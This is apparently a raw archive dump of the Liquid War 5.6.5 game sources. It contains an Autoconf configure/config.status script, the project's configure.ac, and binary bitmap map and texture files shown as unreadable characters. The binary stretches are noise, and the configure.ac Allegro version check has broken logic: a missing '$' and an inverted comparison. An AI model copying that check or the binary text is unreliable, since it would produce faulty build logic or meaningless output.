>&2 as_fn_exit $as_status } # as_fn_error # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -pR'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -pR' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -pR' fi else as_ln_s='cp -pR' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" } # as_fn_mkdir_p if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi # as_fn_executable_p FILE # ----------------------- # Test if FILE is an executable regular file. as_fn_executable_p () { test -f "$1" && test -x "$1" } # as_fn_executable_p as_test_x='test -x' as_executable_p=as_fn_executable_p # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" exec 6>&1 ## ----------------------------------- ## ## Main body of $CONFIG_STATUS script. ## ## ----------------------------------- ## _ASEOF test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Save the log message, to keep $0 and so on meaningful, and to # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. ac_log=" This file was extended by $as_me, which was generated by GNU Autoconf 2.69. Invocation command line was CONFIG_FILES = $CONFIG_FILES CONFIG_HEADERS = $CONFIG_HEADERS CONFIG_LINKS = $CONFIG_LINKS CONFIG_COMMANDS = $CONFIG_COMMANDS $ $0 $@ on `(hostname || uname -n) 2>/dev/null | sed 1q` " _ACEOF case $ac_config_files in *" "*) set x $ac_config_files; shift; ac_config_files=$*;; esac cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 # Files that config.status was made for. config_files="$ac_config_files" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 ac_cs_usage="\ \`$as_me' instantiates files and other configuration actions from templates according to the current configuration. Unless the files and actions are specified as TAGs, all are instantiated by default. Usage: $0 [OPTION]... [TAG]... -h, --help print this help, then exit -V, --version print version number and configuration settings, then exit --config print configuration, then exit -q, --quiet, --silent do not print progress messages -d, --debug don't remove temporary files --recheck update $as_me by reconfiguring in the same conditions --file=FILE[:TEMPLATE] instantiate the configuration file FILE Configuration files: $config_files Report bugs to the package provider." _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`" ac_cs_version="\\ config.status configured by $0, generated by GNU Autoconf 2.69, with options \\"\$ac_cs_config\\" Copyright (C) 2012 Free Software Foundation, Inc. This config.status script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it." ac_pwd='$ac_pwd' srcdir='$srcdir' test -n "\$AWK" || AWK=awk _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # The default lists apply if the user does not specify any file. ac_need_defaults=: while test $# != 0 do case $1 in --*=?*) ac_option=`expr "X$1" : 'X\([^=]*\)='` ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` ac_shift=: ;; --*=) ac_option=`expr "X$1" : 'X\([^=]*\)='` ac_optarg= ac_shift=: ;; *) ac_option=$1 ac_optarg=$2 ac_shift=shift ;; esac case $ac_option in # Handling of the options. -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) ac_cs_recheck=: ;; --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) $as_echo "$ac_cs_version"; exit ;; --config | --confi | --conf | --con | --co | --c ) $as_echo "$ac_cs_config"; exit ;; --debug | --debu | --deb | --de | --d | -d ) debug=: ;; --file | --fil | --fi | --f ) $ac_shift case $ac_optarg in *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; '') as_fn_error $? "missing file argument" ;; esac as_fn_append CONFIG_FILES " '$ac_optarg'" ac_need_defaults=false;; --he | --h | --help | --hel | -h ) $as_echo "$ac_cs_usage"; exit ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil | --si | --s) ac_cs_silent=: ;; # This is an error. -*) as_fn_error $? "unrecognized option: \`$1' Try \`$0 --help' for more information." ;; *) as_fn_append ac_config_targets " $1" ac_need_defaults=false ;; esac shift done ac_configure_extra_args= if $ac_cs_silent; then exec 6>/dev/null ac_configure_extra_args="$ac_configure_extra_args --silent" fi _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 if \$ac_cs_recheck; then set X $SHELL '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion shift \$as_echo "running CONFIG_SHELL=$SHELL \$*" >&6 CONFIG_SHELL='$SHELL' export CONFIG_SHELL exec "\$@" fi _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 exec 5>>config.log { echo sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX ## Running $as_me. ## _ASBOX $as_echo "$ac_log" } >&5 _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Handling of arguments. for ac_config_target in $ac_config_targets do case $ac_config_target in "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; "src/Makefile") CONFIG_FILES="$CONFIG_FILES src/Makefile" ;; "src/Makefile.dep") CONFIG_FILES="$CONFIG_FILES src/Makefile.dep" ;; "src/base.h") CONFIG_FILES="$CONFIG_FILES src/base.h" ;; "src/lwwin.rc") CONFIG_FILES="$CONFIG_FILES src/lwwin.rc" ;; "utils/Makefile") CONFIG_FILES="$CONFIG_FILES utils/Makefile" ;; "data/Makefile") CONFIG_FILES="$CONFIG_FILES data/Makefile" ;; "data/back/Makefile") CONFIG_FILES="$CONFIG_FILES data/back/Makefile" ;; "data/font/Makefile") CONFIG_FILES="$CONFIG_FILES data/font/Makefile" ;; "data/map/Makefile") CONFIG_FILES="$CONFIG_FILES data/map/Makefile" ;; "data/sfx/Makefile") CONFIG_FILES="$CONFIG_FILES data/sfx/Makefile" ;; "data/texture/Makefile") CONFIG_FILES="$CONFIG_FILES data/texture/Makefile" ;; "data/maptex/Makefile") CONFIG_FILES="$CONFIG_FILES data/maptex/Makefile" ;; "data/water/Makefile") CONFIG_FILES="$CONFIG_FILES data/water/Makefile" ;; "data/music/Makefile") CONFIG_FILES="$CONFIG_FILES data/music/Makefile" ;; "doc/Makefile") CONFIG_FILES="$CONFIG_FILES doc/Makefile" ;; "doc/html/index.html") CONFIG_FILES="$CONFIG_FILES doc/html/index.html" ;; "doc/tex/liquidwar.tex") CONFIG_FILES="$CONFIG_FILES doc/tex/liquidwar.tex" ;; "doc/man/begin.man") CONFIG_FILES="$CONFIG_FILES doc/man/begin.man" ;; "doc/texi/begin.texi") CONFIG_FILES="$CONFIG_FILES doc/texi/begin.texi" ;; "misc/liquidward") CONFIG_FILES="$CONFIG_FILES misc/liquidward" ;; "misc/macosx_info.plist") CONFIG_FILES="$CONFIG_FILES misc/macosx_info.plist" ;; "misc/liquidwar.nsi") CONFIG_FILES="$CONFIG_FILES misc/liquidwar.nsi" ;; "misc/docker/Dockerfile-build") CONFIG_FILES="$CONFIG_FILES misc/docker/Dockerfile-build" ;; "misc/docker/Dockerfile-server") CONFIG_FILES="$CONFIG_FILES misc/docker/Dockerfile-server" ;; "misc/docker/Dockerfile-metaserver") CONFIG_FILES="$CONFIG_FILES misc/docker/Dockerfile-metaserver" ;; "liquidwar.spec") CONFIG_FILES="$CONFIG_FILES liquidwar.spec" ;; *) as_fn_error $? "invalid argument: \`$ac_config_target'" "$LINENO" 5;; esac done # If the user did not use the arguments to specify the items to instantiate, # then the envvar interface is used. Set only those that are not. # We use the long form for the default assignment because of an extremely # bizarre bug on SunOS 4.1.3. if $ac_need_defaults; then test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files fi # Have a temporary directory for convenience. Make it in the build tree # simply because there is no reason against having it here, and in addition, # creating and moving files from /tmp can sometimes cause problems. # Hook for its removal unless debugging. # Note that there is a small window in which the directory will not be cleaned: # after its creation but before its name has been assigned to `$tmp'. $debug || { tmp= ac_tmp= trap 'exit_status=$? : "${ac_tmp:=$tmp}" { test ! -d "$ac_tmp" || rm -fr "$ac_tmp"; } && exit $exit_status ' 0 trap 'as_fn_exit 1' 1 2 13 15 } # Create a (secure) tmp directory for tmp files. { tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && test -d "$tmp" } || { tmp=./conf$$-$RANDOM (umask 077 && mkdir "$tmp") } || as_fn_error $? "cannot create a temporary directory in ." "$LINENO" 5 ac_tmp=$tmp # Set up the scripts for CONFIG_FILES section. # No need to generate them if there are no CONFIG_FILES. # This happens for instance with `./config.status config.h'. if test -n "$CONFIG_FILES"; then ac_cr=`echo X | tr X '\015'` # On cygwin, bash can eat \r inside `` if the user requested igncr. # But we know of no other shell where ac_cr would be empty at this # point, so we can use a bashism as a fallback. if test "x$ac_cr" = x; then eval ac_cr=\$\'\\r\' fi ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then ac_cs_awk_cr='\\r' else ac_cs_awk_cr=$ac_cr fi echo 'BEGIN {' >"$ac_tmp/subs1.awk" && _ACEOF { echo "cat >conf$$subs.awk <<_ACEOF" && echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && echo "_ACEOF" } >conf$$subs.sh || as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_num=`echo "$ac_subst_vars" | grep -c '^'` ac_delim='%!_!# ' for ac_last_try in false false false false false :; do . ./conf$$subs.sh || as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` if test $ac_delim_n = $ac_delim_num; then break elif $ac_last_try; then as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 else ac_delim="$ac_delim!$ac_delim _$ac_delim!! " fi done rm -f conf$$subs.sh cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 cat >>"\$ac_tmp/subs1.awk" <<\\_ACAWK && _ACEOF sed -n ' h s/^/S["/; s/!.*/"]=/ p g s/^[^!]*!// :repl t repl s/'"$ac_delim"'$// t delim :nl h s/\(.\{148\}\)..*/\1/ t more1 s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ p n b repl :more1 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t nl :delim h s/\(.\{148\}\)..*/\1/ t more2 s/["\\]/\\&/g; s/^/"/; s/$/"/ p b :more2 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t delim ' >$CONFIG_STATUS || ac_write_fail=1 rm -f conf$$subs.awk cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 _ACAWK cat >>"\$ac_tmp/subs1.awk" <<_ACAWK && for (key in S) S_is_set[key] = 1 FS = "" } { line = $ 0 nfields = split(line, field, "@") substed = 0 len = length(field[1]) for (i = 2; i < nfields; i++) { key = field[i] keylen = length(key) if (S_is_set[key]) { value = S[key] line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) len += length(value) + length(field[++i]) substed = 1 } else len += 1 + keylen } print line } _ACAWK _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" else cat fi < "$ac_tmp/subs1.awk" > "$ac_tmp/subs.awk" \ || as_fn_error $? "could not setup config files machinery" "$LINENO" 5 _ACEOF # VPATH may cause trouble with some makes, so we remove sole $(srcdir), # ${srcdir} and @srcdir@ entries from VPATH if srcdir is ".", strip leading and # trailing colons and then remove the whole line if VPATH becomes empty # (actually we leave an empty line to preserve line numbers). if test "x$srcdir" = x.; then ac_vpsub='/^[ ]*VPATH[ ]*=[ ]*/{ h s/// s/^/:/ s/[ ]*$/:/ s/:\$(srcdir):/:/g s/:\${srcdir}:/:/g s/:@srcdir@:/:/g s/^:*// s/:*$// x s/\(=[ ]*\).*/\1/ G s/\n// s/^[^=]*=[ ]*$// }' fi cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 fi # test -n "$CONFIG_FILES" eval set X " :F $CONFIG_FILES " shift for ac_tag do case $ac_tag in :[FHLC]) ac_mode=$ac_tag; continue;; esac case $ac_mode$ac_tag in :[FHL]*:*);; :L* | :C*:*) as_fn_error $? "invalid tag \`$ac_tag'" "$LINENO" 5;; :[FH]-) ac_tag=-:-;; :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; esac ac_save_IFS=$IFS IFS=: set x $ac_tag IFS=$ac_save_IFS shift ac_file=$1 shift case $ac_mode in :L) ac_source=$1;; :[FH]) ac_file_inputs= for ac_f do case $ac_f in -) ac_f="$ac_tmp/stdin";; *) # Look for the file first in the build tree, then in the source tree # (if the path is not absolute). The absolute path cannot be DOS-style, # because $ac_f cannot contain `:'. test -f "$ac_f" || case $ac_f in [\\/$]*) false;; *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; esac || as_fn_error 1 "cannot find input file: \`$ac_f'" "$LINENO" 5;; esac case $ac_f in *\'*) ac_f=`$as_echo "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac as_fn_append ac_file_inputs " '$ac_f'" done # Let's still pretend it is `configure' which instantiates (i.e., don't # use $as_me), people would be surprised to read: # /* config.h. Generated by config.status. */ configure_input='Generated from '` $as_echo "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' `' by configure.' if test x"$ac_file" != x-; then configure_input="$ac_file. $configure_input" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ac_file" >&5 $as_echo "$as_me: creating $ac_file" >&6;} fi # Neutralize special characters interpreted by sed in replacement strings. case $configure_input in #( *\&* | *\|* | *\\* ) ac_sed_conf_input=`$as_echo "$configure_input" | sed 's/[\\\\&|]/\\\\&/g'`;; #( *) ac_sed_conf_input=$configure_input;; esac case $ac_tag in *:-:* | *:-) cat >"$ac_tmp/stdin" \ || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; esac ;; esac ac_dir=`$as_dirname -- "$ac_file" || $as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$ac_file" : 'X\(//\)[^/]' \| \ X"$ac_file" : 'X\(//\)$' \| \ X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$ac_file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` as_dir="$ac_dir"; as_fn_mkdir_p ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix case $ac_mode in :F) # # CONFIG_FILE # _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # If the template does not know about datarootdir, expand it. # FIXME: This hack should be removed a few years after 2.60. ac_datarootdir_hack=; ac_datarootdir_seen= ac_sed_dataroot=' /datarootdir/ { p q } /@datadir@/p /@docdir@/p /@infodir@/p /@localedir@/p /@mandir@/p' case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in *datarootdir*) ac_datarootdir_seen=yes;; *@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 $as_echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_datarootdir_hack=' s&@datadir@&$datadir&g s&@docdir@&$docdir&g s&@infodir@&$infodir&g s&@localedir@&$localedir&g s&@mandir@&$mandir&g s&\\\${datarootdir}&$datarootdir&g' ;; esac _ACEOF # Neutralize VPATH when `$srcdir' = `.'. # Shell code in configure.ac might set extrasub. # FIXME: do we really want to maintain this feature? cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_sed_extra="$ac_vpsub $extrasub _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 :t /@[a-zA-Z_][a-zA-Z_0-9]*@/!b s|@configure_input@|$ac_sed_conf_input|;t t s&@top_builddir@&$ac_top_builddir_sub&;t t s&@top_build_prefix@&$ac_top_build_prefix&;t t s&@srcdir@&$ac_srcdir&;t t s&@abs_srcdir@&$ac_abs_srcdir&;t t s&@top_srcdir@&$ac_top_srcdir&;t t s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t s&@builddir@&$ac_builddir&;t t s&@abs_builddir@&$ac_abs_builddir&;t t s&@abs_top_builddir@&$ac_abs_top_builddir&;t t $ac_datarootdir_hack " eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$ac_tmp/subs.awk" \ >$ac_tmp/out || as_fn_error $? "could not create $ac_file" "$LINENO" 5 test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && { ac_out=`sed -n '/\${datarootdir}/p' "$ac_tmp/out"`; test -n "$ac_out"; } && { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' \ "$ac_tmp/out"`; test -z "$ac_out"; } && { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined" >&5 $as_echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined" >&2;} rm -f "$ac_tmp/stdin" case $ac_file in -) cat "$ac_tmp/out" && rm -f "$ac_tmp/out";; *) rm -f "$ac_file" && mv "$ac_tmp/out" "$ac_file";; esac \ || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; esac done # for ac_tag as_fn_exit 0 _ACEOF ac_clean_files=$ac_clean_files_save test $ac_write_fail = 0 || as_fn_error $? "write failure creating $CONFIG_STATUS" "$LINENO" 5 # configure is writing to config.log, and then calls config.status. # config.status does its own redirection, appending to config.log. # Unfortunately, on DOS this fails, as config.log is still kept open # by configure, so config.status won't be able to write to it; its # output is simply discarded. So we exec the FD to /dev/null, # effectively closing config.log, so it can be properly (re)opened and # appended to by config.status. When coming back to configure, we # need to make the FD available again. if test "$no_create" != yes; then ac_cs_success=: ac_config_status_args= test "$silent" = yes && ac_config_status_args="$ac_config_status_args --quiet" exec 5>/dev/null $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false exec 5>>config.log # Use ||, not &&, to avoid exiting from the if with $? = 1, which # would make configure fail if this is the last instruction. $ac_cs_success || as_fn_exit 1 fi if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} fi chmod 755 misc/liquidward $GMAKE config $GMAKE dep liquidwar-5.6.5/configure.ac0000664000372000037200000003445113407756104015436 0ustar travistravis# Liquid War is a multiplayer wargame # Copyright (C) 1998-2018 Christian Mauduit # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # Contact author : ufoot@ufoot.org dnl Process this file with autoconf to produce a configure script. AC_INIT() AC_PROG_CC AC_CANONICAL_HOST dnl Now we check if we need to use ou own snprintf function AC_CHECK_FUNC(snprintf,[SNPRINTF=yes],[SNPRINTF=no]) AC_SUBST(SNPRINTF) dnl Checking for allegro-config, the very-needed Allegro file AC_CHECK_PROG(ALLEGRO_CONFIG,allegro-config,yes,no) if test $ALLEGRO_CONFIG != "yes"; then AC_MSG_ERROR(Unable to find allegro-config - this tool is normally installed by Allegro and must be placed in a directory which is in your PATH. Allegro is a game programming library required by Liquid War. It is available on http://www.talula.demon.co.uk/allegro/. You need to install the complete Allegro developpement package to build Liquid War.) fi; dnl Various checks for Allegro echo -n "checking for Allegro... " ALCFLAGS=`allegro-config --cflags 2>/dev/null` ALLIBS=`allegro-config --libs 2>/dev/null` ALVERSION=`allegro-config --version 2>/dev/null` ALDVERSION=`echo ALVERSION | awk 'BEGIN { FS = "."; } { printf "%d",($1 * 1000 + $2) * 1000 + $3;}'` AC_SUBST(ALCFLAGS) AC_SUBST(ALLIBS) dnl dnl main check dnl if test -z "$ALVERSION" ; then AC_MSG_ERROR(Allegro does not seem to be correctly installed - please reinstall it and keep in mind that you need the complete Allegro developpement package.) fi dnl dnl version check dnl if test $ALDVERSION -gt 4002000 ; then AC_MSG_ERROR(An old version of Allegro ($ALVERSION) has been detected - please upgrade to 4.2.0 or better.) else echo "found $ALVERSION". fi dnl disabled this. assume allegro-config doesn't lie and all files are dnl available #AC_CHECK_HEADER(allegro.h,,[AC_MSG_ERROR(Missing some include file. Please reinstall Allegro.)]) dnl disabled this. assume allegro-config doesn't lie and all files are dnl available #AC_CHECK_LIB(alleg,main,,[AC_MSG_ERROR(Compilation probe failed. Please check your Allegro installation.)]) dnl very often, dat (the datafile compiler) is not installed, dnl and we _really_ need it... AC_CHECK_PROG(ALLEGRO_DAT,dat,yes,no) if test $ALLEGRO_DAT != "yes"; then AC_MSG_ERROR(Couldn't find the allegro datafile compiler - please install the complete Allegro package with all its developper tools. The end-user package is not enough to compile Liquid War.) fi; dnl Uncomment this if you want to shock your users #cat <(\F ????<??|??xpp8pxxx<?p8?<p?p8x888< x?<1?x|x<< ?|?PP?@?PW ??|?@??o??C????????????????????????????????????????????w?80 ??????8???????x?<~||liquidwar-5.6.5/custom/map/paille.bmp0000664000372000037200000024466613407756104017220 0ustar travistravisBMI6(qE@ @ @@@@@`@```@@@@ @ @ @ @@ @ @ ` @` ` ` @ @ @ @ @@@@@ @@ @ @ @@@@@@@@@@`@@`@`@`@@@@@@@@@@@@@@@@@@@@@`@``` `@ ` ` `@`@@`@`@```@```````@````@````@````@```@ @ @@@@@`@```@@@@@ @ @@@@@`@```@@@@@ @ @@@@@`@```@@@@@ @ @@@@@`@```@@@@ liquidwar-5.6.5/custom/map/pacman.bmp0000664000372000037200000014236613407756104017203 0ustar travistravisBM(` f3f3̙f3fffff3ff333f3333f3f3f3̙f3fffff3ff333f3333f3f3̙̙̙f̙3̙̙̙f3fffff3ff333f3333f3fffff3fffffff3fff̙ffff3fffffffffff3ffff3f3f3ff3f33f3ffffff3ff333f3333333f33333̙33f3333f3f3f3ff33f3f3333333f3333333333f3333f3f3̙f3fffff3ff333f3333f3liquidwar-5.6.5/custom/map/t4.bmp0000664000372000037200000017706613407756104016300 0ustar travistravisBM66(@@ @ @@@@@`@```@@@@ @ @ @ @@ @ @ ` @` ` ` @ @ @ @ @@@@@ @@ @ @ @@@@@@@@@@`@@`@`@`@@@@@@@@@@@@@@@@@@@@@`@``` `@ ` ` `@`@@`@`@```@```````@````@````@````@```@ @ @@@@@`@```@@@@@ @ @@@@@`@```@@@@@ @ @@@@@`@```@@@@@ @ @@@@@`@```@@@@liquidwar-5.6.5/custom/texture/0000775000372000037200000000000013407756104016153 5ustar travistravisliquidwar-5.6.5/custom/texture/meditate.bmp0000664000372000037200000042454613407756104020466 0ustar travistravisBMf)6(\0%  Zq p,[p0=vJ]WJqz9HO` f~:8Haw8i FX>KP nt*.N|E[d*5 .8+Nc& BQ Ez?NV ,1R Dg{v 7Vd$-npr%FZPyp]b6?A~Wjr*.3kþ(:.2V03H ~>M $(}~Cdm2L`zT9FM Rf=N mn6@r$RBBV""BR\i~ rZ\pz 